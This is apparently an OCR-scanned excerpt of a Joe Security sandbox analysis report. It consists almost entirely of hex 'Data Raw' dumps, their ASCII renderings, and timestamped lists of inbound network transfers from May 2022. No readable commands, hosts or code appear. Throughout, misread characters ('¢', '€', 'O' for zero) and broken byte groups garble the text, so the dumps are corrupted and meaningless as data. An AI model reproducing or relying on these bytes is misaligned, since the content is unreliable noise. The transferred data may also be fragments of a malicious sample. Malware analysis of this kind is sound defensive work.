Data Ascii: WKSH*T!=z";/au+06,%S_hhFIFYbTs"Ocb!".fxbck5*eH/[bgydp04wP!_SU:q?n$tV/N9Q<wmgpntO81~;4+

Data Raw: 59 b0 a6 a7 36 cd 35 6e 8d 33 73 71 ec bf b5 4c¢ ¢2 92 2f d0 Oc b0 2e db 5b 51 bd dc 83 bc 4c fe b3 7f 5b 81 fa
2c d2 96 b9 96 5f 6b 01 64 bd 3f 6d 02 dc b4 4d ce 78 e7 62 bd 4c c6 ec 33 b4 a0 78 31 b8 dc 84 40 3c 75 fc 57 21 34 69
c7 fd 70 bf d1 8f 34 3f aa 73 f1 2a 75 ef 18 f9 1d 1a b1 82 9a 10 45 8f 7e 6¢ 82 70 d2 f9 07 6f 63 52 dd f6 01 49 ab 02 a4
219109 17 ff Oe 7b 1a 25 c0 00 3b bd 64 df 7a 5e be af fb 2f ad c6 15 e6 43 5b 38 b1 98 a0 2d 91 c2 9f 86 42 Oe 82 8e
23 ec 07 16 f1 bd 61 26 27 ed 81 4c 13 31 e0 a0 90 25 9a 3e 06 fe f9 de 62 66 ba €5 70 8d 96 df be 15 77 46 42 44 f0 88
d6 5b 50 5¢ el 8d e5 7 61 €5 25 69 c2 €8 97 1c 91 c7 4a 5f ab c3 5e d4 ba 75 2d db 5d 0d dd 6b d3 9d Ob 67 60 f2 11 74
97 ¢379 77 e4 7b c2 78 e3 35 fd 2e 33 04 cf bl df

Data Ascii: Y65n3sqL/.[QL[,_kd?mMxbL3x1@<uW!4ip4?s*uE~IpocRI{%;dz"/C[8-B#a&'L1%>bfpwFBD[P\a%iJ_"u-]

kg tyw{x5.3

Data Raw: 19 25 14 ef a8 6d fa 2f c1 96 4c b6 9d d2 b7 f3 90 a9 3d 80 e6 c2 ef d9 71 d1 59 Oc 85 34 1a d7 d0 1f 89 5e 14
2c e2 a7 1la 7f 3e 23 01 39 ca aa 8b 9a Oe 48 80 7f 39 8f d3 f0 23 82 b5 00 da 2c 54 c9 0f 9f 33 b4 60 8a 44 61 ad f0 13
c7 18 64 12 5 03 f4 ea c1 92 53 ec c0 Oe bl 5e 57 26 51 32 86 b8 9b 84 4d b9 79 eb aa 4d 98 e5 0a Ob 3a 4f db cc d1
7070 db 59 ef 5e 14 01 85 d7 bd a0 b9 a0 e2 c2 d3 75 d2 b7 66 39 ac 81 3e 50 c0 50 6e 7d b6 df ce 2b 2f 8e 45 48 d4 4d
98 57 fa 74 f9 08 3b a0 1a 49 48 d6 b3 29 ff 13 8f 0a 05 a7 aa 78 b9 d0 62 1b b0 ee 3c c5 ba 9a 04 Oe 40 dd 06 45 20 34
67 b2 f5 ce 1c 07 21 58 a6 53 bc 6e ee 38 85 0b 7b 26 65 e6 6b 17 8a ec e5 7b fd f1 b7 aa 10 al a5 f1 91 38 81 d4 25 Of
5d a3 41 2f f1 68 4b a0 b1 cf 6e dc dd 46 90 4d 43 65 eb

Data Ascii: %m/L=qY4",>#9H9#,T3' DadS"W&Q2MyM:OppY~uf9>PPn}+/EHMWt;IH)xb<@E 49!XSn8{&ek{8%]
A/hKnFMCe
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2022-05-02 11:03:03 UTC 1265 IN
2022-05-02 11:03:03 UTC 1266 IN
2022-05-02 11:03:03 UTC 1268 IN
2022-05-02 11:03:03 UTC 1269 IN
2022-05-02 11:03:03 UTC 1270 IN
2022-05-02 11:03:03 UTC 1272 IN
2022-05-02 11:03:03 UTC 1273 IN
2022-05-02 11:03:03 UTC 1274 IN
2022-05-02 11:03:03 UTC 1276 IN
2022-05-02 11:03:03 UTC 1277 IN
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Data

Data Raw: ea 5f 58 3d 7d 3a 6e 45 f3 c6 cd c3 cc 95 1f e3 84 35 50 c4 88 e3 8d 34 42 67 39 06 60 59 4a ef 26 4e 61 02 Of
315bclel33935d8ba3219af46ed2 988 6e 9d 63 ec b5 9b f8 64 53 8b ce f1 03 a2 ab ad 95 ea Oc c2 ec aa ef 97
8 f4 88 c4 a0 d5 bb a9 85 05 ¢5 9a b1 65 3c 75 8a 77 d4 7c 07 69 b6 45 db a8 31 fc 6e be df c1 8c 15 0f 1b de aa a0 03
de f4 10 c1 97 78 f0 Ob 67 72 06 1d 9e 79 c6 48 f1 ad ce 6¢ 03 9c 0f c1 1d 78 1a a0 37 6b c4 5e b3 fc 1f ec 4b 72 e6 da
17 21 a8 7d 13 3c f1 50 3a 7f 21 fa b2 fd df 71 1b 37 47 50 31 f6 02 24 74 f5 7e 27 06 62 55 a6 db 98 98 44 4f 64 c1 71 ad
5 3b 1c 49 a5 3a 96 4b c5 ¢4 a3 43 bf ca b2 90 8d b2 f1 36 32 ac 75 2e 52 0a 22 82 55 1b 32 48 6b €8 14 ec 5f 30 86 e7
00 df 3f a4 45 29 df c7 2d €9 dd el e7 81 fc 22 d6

Data Ascii: _X=}:nE5P4Bg9 YJ&Nal[3]!nncdSe<uwl|iE1nxgryHIx7k"Kr!}<P:!q7GP1$t~'bUDOdq;|:KC62u.R"U2Hk_0?E)-"

Data Raw: 1a 71 47 86 ab a6 7c 68 aa bc 30 6b 58 7e ab 29 al d4 5e f6 €9 80 88 77 13 00 a0 fb b4 e0 80 6f e0 d3 81 bd
4c 68 98 48 9e 32 a0 37 99 6d 2c 66 c3 66 44 6¢ c2 2b d4 08 21 60 17 c8 ce 97 fb 70 a0 96 ¢5 d9 81 7f ba ac 6a 1a 36 ff
ea d0 9d 94 88 Ob 15 2a 61 fe 5d 22 e0 01 8d 20 59 92 5f 73 38 67 1f 92 25 da 11 17 c8 7f ee 27 6b 07 b9 bc 1f 62 b7 e7
a0 a8 e0 92 39 d4 19 93 04 24 24 f4 41 9c 4d 36 ac 9e 47 9 30 90 3d d3 4f 95 35 12 2d 3d 19 85 d7 2a 49 b0 99 9e d2 Oa
65 6¢ 65 b0 e3 ab 4d 83 a9 d1 6f 84 ee a4 2b 45 08 1c 89 ac 7c Of a7 4c d7 b0 4e b7 1f 45 b5 79 fa c5 9f e0 70 cd c8 fb
6e 4e 48 93 24 3c 65 4b ce 8 32 36 a9 b9 d2 fd 48 al c6 3a a7 01 6a 60 53 98 ee 4a 2c 27 5e 09 85 25 0a 99 47 3d 9a
6a df 12 2e 3b 7e e5 64 02 71 3e 53 ¢7 6a 87 a5 35 5f 02 Oa

Data Ascii: G|hOkX~)*woLhH27m,ffDI+!"pj6*a]" Y_s8g%'kb9$$AM6G0=05-=*leleMo+E|LNEypnNH$<eK26H:j'SJ,"
%G=j.;~dg>Sj5_

Data Raw: 1f d2 cb f8 ad 88 40 80 a0 ac 49 40 80 a0 8f ab 92 1f b1 fc c9 a9 88 1c 04 88 16 9f c9 9a 95 88 40 80 a0 ac 49

40 80 9f 9d ab 92 Oc bb 90 fd 8d 88 08 05 88 03 83 cc f3 b4 88 40 80 a0 ac 49 40 80 a0 b2 ab 92 08 ab 82 fb b0 88 08 02

88 37 1d f5 9f al 84 88 40 80 a0 ac 49 40 80 a0 84 ab 92 10 b1 d3 db 9e 88 Ob 10 83 8a 84 99 88 Ob 1a 87 c4 8e b1l 88 0f
85 ee ab 93 88 40 80 a0 ac 49 40 80 a0 9f ab 92 0a d2 eb dd 91 88 Ob 1d bf d5 fO a6 88 Ob Ob 88 c0 f9 b1 88 06 a9 82 cc

aa 88 40 80 a0 ac 49 40 80 a0 8e ab 92 0Ob f4 a0 9f ac 88 92 08 f4 91 97 84 88 05 fb e6 b9 a3 88 40 80 a0 ac 49 40 80 a0

89 ab 92 0f d4 e3 e8 bc 88 37 12 d6 5 a2 83 88 40 80 a0 ac 49 40 80 a0 9d ab 92 1a a8 bf 8a 93 88 77 77 15 84 be 94 8a
8840 80 a0 ac 49 40 80 a0 9a ab 92 14 8f cd c2 aa 88

Data Ascii: @QIQ@IQ@IQ7QIPAIQQAIQRAIATAI@WWRI@

Data Raw: 80 a0 ac 49 40 80 9f a7 ab 92 10 el ad f3 b9 88 37 1c 06 88 06 el 81 d9 ba 88 40 80 a0 ac 49 40 80 9f 93 ab
92 0f b2 c1 dd ac 88 34 06 ff c5 f6 88 37 10 d4 bd e8 8b 88 40 80 a0 ac 49 40 80 a0 93 ab 92 13 97 b6 e2 8e 88 77 77 15
84 be 94 8a 88 40 80 a0 ac 49 40 80 9f 8e ab 92 1f e2 8d da 86 88 1c 03 88 1e 90 ed dO b1 88 40 80 a0 ac 49 40 80 9f ac
ab 92 0d c2 83 d8 88 37 1c 06 88 06 el 81 d9 ba 88 40 80 a0 ac 49 40 80 9f b3 ab 92 07 fa b6 8a 9e 88 92 09 9c 93 d4
82 8892 0b f9 d0 94 ae 88 05 9f f5 ca b2 88 40 80 a0 ac 49 40 80 9f ba ab 92 01 80 93 9d 91 88 34 06 ff c5 f6 88 37 10
d4 bd e8 8b 88 40 80 a0 ac 49 40 80 9f 8d ab 92 1f e2 8d da 86 88 1c 03 88 1e 90 ed d0 b1 88 40 80 a0 ac 49 40 80 9f b1
ab 92 18 al ed 87 b0 88 37 Ob 05 d8 d2 89 ad 88 06 c8 b3 df

Data Ascii: I@7@1@47@1OWwWR@IQ@IQ7RIPAI@4T@I@@I@7

Data Raw: 12 88 10 34 01 88 88 03 9a 88 17 88 01 1d 1d 8d Of 00 48 05 8f 88 0d 48 Ob 01 86 88 01 a2 88 1d 8e 0f 02 ac
8810 34 2c 83 02 86 83 03 88 01 1d 1d 8e 0Of 05 a4 88 10 34 01 8e 88 03 ab 88 10 88 01 1d 1d 8e Of 2f 88 10 0d 1d Oe
88 01 1d 1d 8e 0f 03 80 88 10 0d 1d 1b 88 01 1d 1d 8d 0f 00 48 02 8a 88 10 0d 1d 0d 88 01 1d 1d 8e 0f 11 88 10 0d 1d
12 88 01 1d 1d 8e 0Of 25 88 09 48 40 80 9c 91 49 1d 8e 0f 03 a3 88 7d 1d 8e 97 60 80 b1 9f 69 01 9e 88 10 34 2a 88 02 8
088028802 1d 1d 8e 0f 10 88 07 48 34 38 88 02 a8 88 1d 8e 0f 04 b7 88 07 48 34 01 8f 88 03 ae 88 1d 8e 0f 24 88 10
Ob 01 aa 88 01 95 88 0d 88 02 1d 1d 8e Of 1c 88 0d 48 Ob 1f 88 3b 88 1d 8d 0f 00 48 04 87 88 10 07 1d 0d 88 02 1d 1d 8e
0f Oe 88 7d 1d 8e 47 60 80 b1 9e 69 Oc 88 07 48 34 01 8f 88 03 af

Data Ascii: 4HH4,4/H%H@!} i4*H48H4$H;H}G iH4

Data Raw: 10 07 1d 0f 88 02 1d 1d 8e Of 01 bd 88 10 07 1d Oc 88 02 1d 1d 8e 0f 02 9c 88 10 7f 02 88 05 1d 05 88 Ob 1d
1d 8e 0f 03 b1 88 29 a2 31 40 88 01 98 1d 8e 0f 01 97 88 7d 1d 8e 47 60 80 b 9f 69 02 95 88 10 07 1d 07 88 02 1d 1d
8e 0f 03 95 88 7d 1d 8e 97 60 80 bl 9f 69 02 bd 88 10 07 1d 0a 88 02 1d 1d 8e Of 2b 88 7d 1d 8e 97 60 80 bl 9e 69 05
a0 88 10 07 1d 06 88 02 1d 1d 8e 0f 01 93 88 10 0d 1d 07 88 01 1d 1d 8e 0Of 31 88 10 0d 1d Oc 88 01 1d 1d 8e 0f 03 b7 8
810 07 1d Ob 88 02 1d 1d 8e Of 03 8b 88 10 34 01 82 88 03 87 88 12 88 01 1d 1d 8e Of 30 88 07 48 34 01 91 88 03 b3 88
1d 8e 0f 03 ad 88 10 0d 1d 11 88 01 1d 1d 8d Of 00 48 04 9f 88 10 07 1d 02 88 02 1d 1d 8e 0f 02 b0 88 10 0b 01 90 88 01
a5 88 00 88 01 1d 1d 8e 0f 03 a5 88 10 34 01 88 88 03 98 88 17 88

Data Ascii: )1@}G i} i+} i140H4H4

Data Raw: 04 86 88 10 07 1d 02 88 02 1d 1d 8e 0f 04 81 88 7d 1d 8e 97 60 80 b1 9e 69 04 a0 88 0d 48 Ob 09 88 07 88
1d 8e 0f 04 85 88 0d 48 34 01 87 88 03 96 88 1d 8e 0f 03 b6 88 10 0d 1d 15 88 01 1d 1d 8e Of 01 9a 88 7d 1d 8e 47 60
80 b1 9f 69 03 83 88 10 34 01 ab 88 01 bd 88 19 88 01 1d 1d 8d Of 00 48 05 al 88 60 80 b1 90 69 09 48 60 80 b1 8f 69 0
460 80 b1 8e 69 60 80 b1 8¢ 69 ad ad 60 80 b1 8d 69 25 00 88 60 80 b1 8¢ 69 ad 60 80 b2 9f 87 00 98 1d 8e 0f 03 a9 88
0d 48 34 01 8a 88 03 a0 88 1d 8e 0f 03 85 88 10 34 3e 88 02 ba 88 01 88 01 1d 1d 8e 0f 04 88 7d 1d 8e 97 60 80 bl e
69 05 88 10 07 1d 07 88 02 1d 1d 8e Of 05 9e 88 10 Ob 01 86 88 02 95 88 08 88 02 1d 1d 8e Of 1d 88 7d 1d 8e 97 60 80
b1 9f 69 Ob 88 07 48 34 2b 88 02 81 88 1d 8e 0f 04 94 88 7d 1d 8e 97 60

Data Raw: 88 Ob 1d 1d 8e Of 03 bb 88 10 Ob 01 9a 88 31 88 03 88 01 1d 1d 8e Of 04 a2 88 3d b1 1f 04 9b Ob 1d 04 1d 1d
8e 0f 03 96 88 Ob 48 02 1d 1d 8e 0f 02 91 88 22 8b 97 05 1d 1d 8e 0f 01 bc 88 07 48 34 31 88 02 94 88 1d 8e Of 02 80 88
10 0b 01 9f 88 30 88 1e 88 01 1d 1d 8e 0f 01 9¢ 88 10 0d 1d 14 88 01 1d 1d 8e 0f 01 b4 88 10 Ob 16 88 03 al 88 09 88 01
1d 1d 8e 0f 03 88 88 7d 1d 8e 47 60 80 b1 9f 69 04 9b 88 10 34 01 8b 88 03 al 88 14 88 01 1d 1d 8e 0f 03 b3 88 10 34
19880199 88 11 88 01 1d 1d 8e 0f 18 88 10 0d 1d Ob 88 01 1d 1d 8d 0f 00 48 05 a6 88 07 48 34 2d 88 02 87 88 1d 8e
0f 01 a7 88 10 Ob 01 83 88 01 83 88 03 88 01 1d 1d 8e 0f 01 b1 88 7d 1d 8e 97 60 80 bl 9f 69 Oe 88 0d 48 34 2d 88 02 8
888 1d 8d 0f 00 48 04 b6 88 10 0d 1d 1a 88 01 1d 1d 8e 0Of 2d 88

Data Ascii: 1=H"H410}G i44HH4-}'iH4-H-

Data Raw: 1d 05 88 02 1d 1d 8e 0f 03 93 88 0d 48 Ob 23 88 03 8e 88 1d 8e 0f 04 92 88 10 0d 1d Oc 88 01 1d 1d 8e 0f 01
bb 88 07 48 34 01 9a 88 02 89 88 1d 8e 0f 36 88 2¢c 99 47 9b 05 1d 1d 8e 0f 04 ad 88 0d 48 34 32 88 02 96 88 1d 8e Of

02 8f 88 10 0b 01 91 88 01 8a 88 1b 88 01 1d 1d 8e 0f 02 8¢ 88 10 0d 1d 15 88 01 1d 1d 8d Of 00 48 01 96 88 0d 48 34 3e
88 01 bd 88 1d 8d 0Of 00 48 03 a6 88 0d 48 34 01 af 88 02 85 88 1d 8e 0f 02 ab 88 10 0d 1d 0d 88 01 1d 1d 8e Of 03 98 88
100d 1d 17 88 01 1d 1d 8d Of 00 48 03 92 88 10 34 3a 88 02 b0 88 09 88 02 1d 1d 8e 0f 03 9b 88 10 34 3d 88 02 b8 88
0d 88 01 1d 1d 8e Of 10 88 7d 1d 8e 97 60 80 b1 9e 69 01 8d 88 10 0d 1d 11 88 01 1d 1d 8e 0f 02 a1 88 7d 1d 8e 47 60 8
0 bl 9e 6901808810 0d 1d 02 88 01 1d 1d 8e 0f 01 82 88 10 Ob

Data Ascii: H#H46,GH42HH4>HHA4H4:4=}'i}G'i

Data Raw: 9a 47 88 28 82 32 89 37 98 25 ae 25 88 32 9b 3b ae 2d b8 41 a2 30 86 46 82 45 a7 3b 88 47 a8 2c ad 28 96
37 b0 31 b5 30 a2 43 a8 44 80 23 a3 20 90 3e a0 40 89 44 bc 20 b0 le a6 46 98 29 a2 20 84 2f b2 48 9a 2e bb le 82 49
98 39 92 39 a2 3d 8d 31 ab 20 98 40 a0 27 8b 43 9c 30 a9 1d ae 38 b4 20 8a 3e 94 29 88 36 be 24 a5 22 a2 47 81 41 ac
20 b8 3a 9f 46 9e 35 bf 2b a4 le b6 37 84 29 b2 49 9e 3a 96 25 9c 28 9¢ 05 a8 al 00 1d 1d 8d OF 00 48 05 a2 88 a3 11 48
00 88 60 01 a0 80 83 a9 87 01 a0 80 83 86 69 24 a9 28 01 a0 80 81 be 62 01 a0 80 82 81 62 01 a0 80 81 ad 62 01 a0 80
80 a3 69 20 80 86 81 19 1d 87 47 11 1d 1c be 57 7d 1c bc 57 01 a0 80 8e 8¢ 62 17 1d 1c b9 47 17 1d a3 1c b4 57 11 48
01 88 7d 1c b4 57 11 48 9d 00 88 01 a0 80 8e a6 62 22 1d 10 1d 01 a0 80

Data Ascii: G(27%%2;-A0FE;G,(710CD# >@D F) /H.199=1 @'C08 >)6$"GA :F5+7)1:%(HH i$(bbbi GW}WbGWH}WHb"
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kBytes

Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1281 IN
2022-05-02 11:03:03 UTC 1285 IN
2022-05-02 11:03:03 UTC 1286 IN
2022-05-02 11:03:03 UTC 1291 IN
2022-05-02 11:03:03 UTC 1295 IN
2022-05-02 11:03:03 UTC 1299 IN
2022-05-02 11:03:03 UTC 1303 IN
2022-05-02 11:03:03 UTC 1307 IN
2022-05-02 11:03:03 UTC 1311 IN

Copyright Joe Security LLC 2022

Data

Data Raw: a5 01 4a 01 64 01 57 01 0f 01 48 01 ab 01 9c 01 af 01 05 3a 00 00 39 60 e8 cc e4 6d e7 fc d0 90 20 19 1c d3
6b 97 c2 89 a4 44 20 72 f4 6a 68 12 6a 7c 95 82 af Oc 1c 74 0d df e3 5d b0 Of a0 5a 5c 02 ac fO eb eb {7 89 5¢ 3e cc ca a7
2b 7d 41 fb bf f7 28 94 52 13 bc 75 34 52 50 ¢3 09 23 dc 25 41 fb 53 33 dd c8 f2 5b al da 1c 4c 5e 03 e7 20 39 ec 8f 98 5¢
b5 67 a3 f2 4e 17 d8 c4 Ob d2 f6 28 5b 54 48 14 2¢ 95 51 c2 e5 bc 86 be 53 13 €3 39 ¢8 83 96 14 54 47 bc 90 46 1a 17 08
83 51 3a 8adl e3 ba fd 5e 72 a8 69 23 54 d5 1e 98 74 9c 91 19 da 8f e2 f2 2a 63 3d 64 5e 28 b0 37 d6 ae 16 43 80 a8

4d e3 dc 15 fe ef 49 29 b8 3f 1a 10 97 26 16 03 c8 83 c2 38 ef 97 8f 24 1b eb eb f6 90 2b 1d 4e 2c ba 77 Ob €8 44 a6 b4
9a ab d3 e4 60 25 b2 60 19 5d 22 27 fa 98 e2 c8 af fd

Data Ascii: JAWH:9'm kD rjhj|t]Z\\>+}A(Ru4RP#%AS3|L" 9\gN([TH,QSITGFQ: ri#Tt*c=d"(7CMI)?&8$+N,wD %"

Data Raw: c3 3a 5b 0a f9 3b cf 45 b4 55 38 8d bf 3c fa 97 ce d5 fc b3 8b a0 52 61 13 b8 eb eb e6 5d 60 aa 5b 2a 19 7f 2f
7b 8c 12 99 ec ff bc 89 e3 89 5a ba d3 14 2e fe eb eb e6 4b 3c 43 Oe 23 98 b4 al a2 5f f9 81 8 c0 2b 42 cf c0 62 Ob 11 ef
b3 cf de 68 5¢c b2 6¢ 64 1e d4 ac af a8 38 dd 59 3b 95 eb eb e6 20 4e a8 19 77 62 4e 4c 40 cf e5 18 3f 1d 11 46 e5 c5 Ob
ede5b0e0ebebe6fldd 76 1ca2 54 ee3a3ba8adh7734ebceaebebebfhb7070754b5bebd5a7 5fcd 45 16 4c
59 f8 Oc eb eb e6 c6 15 52 df 11 4d 97 c2 cc 57 64 70 ab a7 e8 d4 37 8e 39 fa 39 6f eb eb e6 b0 4f 1f al 35 ee 6a d1 ee
71 26 f3 44 39 4b c4 3c ca a6 eb eb e6 bb 45 07 6e 9b b5 c4 98 a0 20 a8 Oa 06 ae eb eb e6 81 38 e3 69 86 8f d2 3f a3 39
41 e3 af 91 eb eb e6 90 82 6d 2f 7c 15 2e 3f ec 98

Data Ascii: :[;EU8<Ra] [*/{Z.K<C#_+Bbh\ld8Y; NwbNL@?FVvT:;sNppuK[_ELYRMWdp799005jq&D9K<En 8i?9Am/|.?

Data Raw: f4 74 eb eb ea 62 64 80 d8 28 18 2e 08 7b Oe 1c ad f6 4e 7d b8 7d eb eb ea 44 c4 3f db bb 90 10 75 4f b9 da
99 2d Ob d1 d3 af 0d 92 ea 7d 1d ce b1 01 69 5e ab 17 67 1a 22 49 9c 6d 4a b4 eb eb ea 10 eb 4e aa 79 4c 08 60 8e 11
6e 3e 4f a4 59 Oc e6 d6 e8 d7 33 a3 cc 0d aa ba 21 24 20 46 c0 cf 31 8f c9 dd 8e 1e c6 79 5b 14 78 a4 53 fc d2 9a 48 01
03 ef 6b 1b Oe eb eb ea dc fa fb 52 47 4a bc 58 0a 3a 53 8d 70 ce cd 93 cb 97 11 09 cc db 9f 37 8f fe 7c ac cb c3 bd a9 ed
97 78 00 Oe 25 44 21 8 67 7 72 fO f1 74 f2 c4 ef 3e 8f c8 89 al f1 cc ac 8c d4 eb eb ea 90 e7 d2 b4 32 00 b9 d2 7b 24 40
b5 85 e5 e6 5f 23 f2 36 bb 9a 34 0a 82 30 91 9c cb ad 7f 74 f2 2f b8 eb c¢7 15 dd 60 €9 3d da 1b 9f 8a 7e 97 1f 90 8c dO dc
2e eb 17 4c eb eb ed 51 74 5e 93 99 7e 13 f2 ad 5d

Data Ascii: tbd(.{N}}D?uO-}i*g"ImINyL n>0Y3!$ F1y[xSHKRGJIX:Sp7|x%D!grt>2{$@_#640t/=~.LQt"~]

Data Raw: b4 bd de 6a ad 2e 26 ec e4 70 85 43 93 1a 4c af af 79 c1 4e 8c 17 2b 23 0f be da 53 e8 ab eb 2f 8f d9 f8 Ob 03
Oa e4 a7 a0 ad Ob 0f 60 7b 1b 12 6b f3 ae e5 5¢ 27 50 8a 85 ac €9 f9 fa bd d5 6b 75 18 c4 48 c3 d8 ff 59 a3 60 c0 84 ca
2554 50 7d 39 f8 14 53 44 5¢ 21 42 8d 0d 31 3c 67 23 1f 65 20 10 d5 37 2b b7 9c 73 34 7b 6¢ 92 88 fa 78 43 c6 e8 dc 81
a7 38 e5 60 ff 25 ff 3f ba 36 1a a3 24 a7 5f bc da 02 b0 07 e6 b2 d8 c5 27 5b 52 22 40 66 ee 6¢ aa ea 10 ec 1c b6 b6 2b
8 2¢ 26 6¢ 3c 8e 70 29 18 hd e3 ec 81 92 85 a7 0f 83 97 18 35 6a d9 fO cf 55 4c a6 8d ff 99 50 40 67 Ob 9b 33 b4 b0 2e
39 07 1d 58 98 ¢3 97 3a a7 45 21 ae b1 92 8e b8 5f 73 c0 13 34 00 €9 bc ¢9 82 b3 f9 64 37 8d 99 bf d9 c5 6f ef c1 6b c7
63 33 ab 2f 08 9a 9d 56 8a 8a 41 Ob ca b4 ff f2 91 81

Data Ascii: .&pCLYN+#S/ {k\'PkuHY %TP}9SD\IBl<g#e 7+s4{IxC8 %?6$_'[R"@fl+,&I<p)5ULP@g3.9X:E!_s4d70okc3/VA

Data Raw: 5d ee 3f 80 69 c0 8b 42 07 5b fb d9 fc 33 20 46 76 03 c9 e6 7f a9 d5 9a 87 9e 03 4f 53 8e 55 75 3f 60 9d a4 eb
df 24 16 18 67 f2 d1 d0 13 92 6e 61 53 b7 30 ba 7d 8c 5e b3 30 e0 d5 fd 89 8a 6d ed a3 09 10 67 5f 96 d8 bf 61 a2 af 13
54 98 64 f9 59 28 a3 03 cf fc 4d c0 56 €6 b2 51 17 4e 18 d3 4e cc a3 64 ba 93 c4 40 18 4f 79 7d c7 13 3 12 32 5f 02 4¢
e1 08 27 b9 53 f9 2e f1 89 70 63 f2 98 €9 b8 28 8b 88 2b e7 22 ad 05 a0 9c 9c dc 72 53 20 60 b6 59 dd 2a 67 b5 49 df bf
62 1e 90 f2 5e 97 09 e2 93 89 81 ca 53 c8 e7 66 fb 3e 47 1c d2 78 ff 55 c9 ea 60 c1 21 db 14 e4 d6 3d fe b2 2d 82 05 17
71 ed 37 97 6e c7 03 e0 cb 66 ef 8e 8f 26 f6 f5 20 c5 28 45 84 40 7f 70 al ae 59 90 77 ce b5 47 99 eb 39 59 eb 72 80 5¢
fb a5 be 6 d8 4e f5 18 05 a3 03 cc 4d e2 02 5 d8 59

Data Ascii: ]?iB[3 FvOSUu? $gnaS0}*0mg_aTdY(MVQNNd@Oy}2_L'S.pc(+"rS “Y*gIb"Sf>GxU'I=-q7nf& (E@pYWGY
\NMY

Data Raw: 85 0a 64 79 0f f0 79 48 10 52 c5 78 df Oc 50 62 90 38 d0 97 d5 2c 85 7b 0d bc 7a d3 fe 9d 73 f2 6d ee 86 5f d5
68 c8 5e dd 61 1d 9b 3e 3f f3 bf 75 ee 83 fd 4b 99 53 ¢2 Ob f9 66 dd cb f7 d9 Oc d9 91 5c 81 Oe Ob f9 4d el fd bc 43 48 aa
b0 4e 85 17 8b 88 45 a0 8d e4 ff 5¢c 61 e6 ce c8 e6 08 57 10 96 3b 25 1a 4d 8f 64 46 fO a5 4c d8 9c e4 cc a3 05 fO b8 bl
ef 1367 ed a2 29 d2 e2 f0 24 98 89 67 59 b7 2b 5d 27 b7 8b 52 6e 6e 6¢ 4e 5¢ 2e 73 d4 b7 c2 23 b7 4e c4 2f 56 2d 0d 5b
ac e0 e3 38 30 6a 22 fa 79 ff 28 db 96 bf 4c aa ad 7d ce 98 39 9f 41 9b a6 f5 40 2a 3c {7 cb 4e 68 €3 d8 06 88 70 4c e3 21
8d 7a 76 a9 68 75 a4 b8 08 96 d3 86 b6 0d ec f0 30 fa be dc 6¢ d2 46 0a 3c 2e 74 ed d7 14 25 be e7 82 bc 5¢ ¢3 9b be

0Ob f4 67 3f 34 26 Oc e0 f2 70 b1 92 b4 c3 96 86 €0

Data Ascii: dyyHRxPb8,{zsm_h"a>?uKSAMCHNE\aW;%MdFLg)$gY+]'RnnIN\.s#N/V-[80j"y(L}9A@*<NhpL!zvhuOIF<.
%\g?48&p

Data Raw: 50 a7 80 d4 5f 94 c¢3 14 7a 70 92 c8 e7 f0 c6 9d f9 49 43 af 2d 3d e9 2e 2f 28 67 ba 5a a3 ab 8d cd 88 46 79 5a
7 37 de e3 fe 7f c9 a0 72 e7 3f 29 03 e0 ce 1a 75 be a8 a4 6f 42 12 cc 06 e7 90 52 86 f5 9d a8 fd 55 a9 80 90 fc be 03 b9
00 fa 68 1a 16 04 36 18 5f 2a b0 86 6b 15 d1 ec 66 5c 4f c9 fO 33 a5 88 cd f1 c5 Oe 07 42 1b 7f 54 0a 53 al ed 49 42 ff da
47 61 df 8f 73 €6 1f 44 c8 9a 0d 78 b5 9 45 e0 50 f1 99 f8 8f cd fd 40 6e ef ed 82 8b 9f c1 6a 4a 0d a7 27 d4 e7 a5 9b 9e
2e 20 fb 7a e9 bl ae 0f 89 a4 08 72 ac b5 61 07 eb 91 d6 51 d8 73 e0 da ac 47 9a 51 01 99 00 cd da 38 9d Oc 86 57 22
ad 58 bf bc e2 97 3e 1d 9a 57 25 45 fb 8b b3 0f ef d9 8d 97 9c 8d 46 75 97 b0 74 c5 78 c6 54 9b e8 3f 08 d4 c5 36 5e fb
89 af c9 8c 15 e7 6b fc c7 c3 f4 a4 aa 1b 83 f9

Data Ascii: P_zplC-=./(gZFyZ7r?)uoBRUh6_*kO3BTSIBGasDXEP@njJ'. zraQsGQ8W"X>W%EFutxT?6"k

Data Raw: d5 73 8c a4 fc e2 17 08 b1 fe 57 d7 e8 60 bf 38 47 45 da f1 8b ce 60 16 e9 98 fa 4f 90 a7 8d e5 91 79 4a f3 09
15 24 c4 b3 fa a4 4c ¢4 55 ¢5 40 a8 ff 9c 75 1d 93 d8 1f 2b 9c 34 32 e0 4c a7 0d 75 23 58 6e 7c 48 69 31 45 Oc 21 14 72
1a 20 50 e3 40 38 85 15 73 c5 aa 64 b5 74 ee f4 25 14 e8 dd c2 6e 39 10 c7 c1 f4 74 34 00 77 90 77 6d 4c e6 1d 63 67 2e
6e f7 a4 62 d1 67 a6 7b 96 76 98 24 4e 3 0f e0 f6 77 15 d5 f1 cd 89 f2 f6 4d f9 b7 81 71 27 4c 11 52 7f 8a 60 05 f9 91 50
€0 48 10 62 2f e3 79 16 4c 2b ed 6f 1c ec 2a 40 a6 08 Oe c0 10 30 70 4e ba c8 2f 70 79 5f 22 5e e7 48 26 d2 75 96 5b cd
7a5c 57 50 72 d0 a6 a5 67 84 df e9 bd 67 ca 90 b2 19 f7 ¢4 f4 77 al 56 5 43 5d 7b d3 ff 39 77 d1 6a 8f ae 84 f5 50 f0 05
c3e6 f1 43 96 7c 77 4b a8 55 84 b9 ff 8¢ ac ce

Data Ascii: SW'8GE OyJ$LU@u+42Lu#Xn|HilE!r P@8sdt%n9t4wwmLcg.nbg{vENwMg'LR PHb/yL+0*@0pN/py_""H&u[z\
WPrggwVC{9wjPC|wKU

Data Raw: 81 b8 5e f4 89 1c 12 0a 2a 59 7e 10 b7 05 33 6e 4a 68 df 35 Of d7 e2 18 b6 3b 2f 2¢ 49 65 16 9b 46 c6 35 a7
6d 75 11 ff 7d 12 ad 37 20 87 d3 ab 9a 20 7b 3e 73 93 6f 5¢ cb 17 87 6a 23 87 aa 1b 90 55 fc 83 54 30 2c ce 79 45 cc f3
03 f4 6b 42 8c d7 86 88 99 6b fc 11 f5 19 f9 15 88 8e 5¢ fa 96 57 43 5d 47 98 ef c9 b0 10 89 60 69 97 63 f2 49 9e 2e 5a
6a b9 c2 fb 35 b4 51 5a 63 77 98 ba 9c 8f bb 91 c8 e5 90 ad c7 48 ec Oa cd 10 43 37 a7 bc Oe 5e 8f d2 41 69 b3 4c 51 82
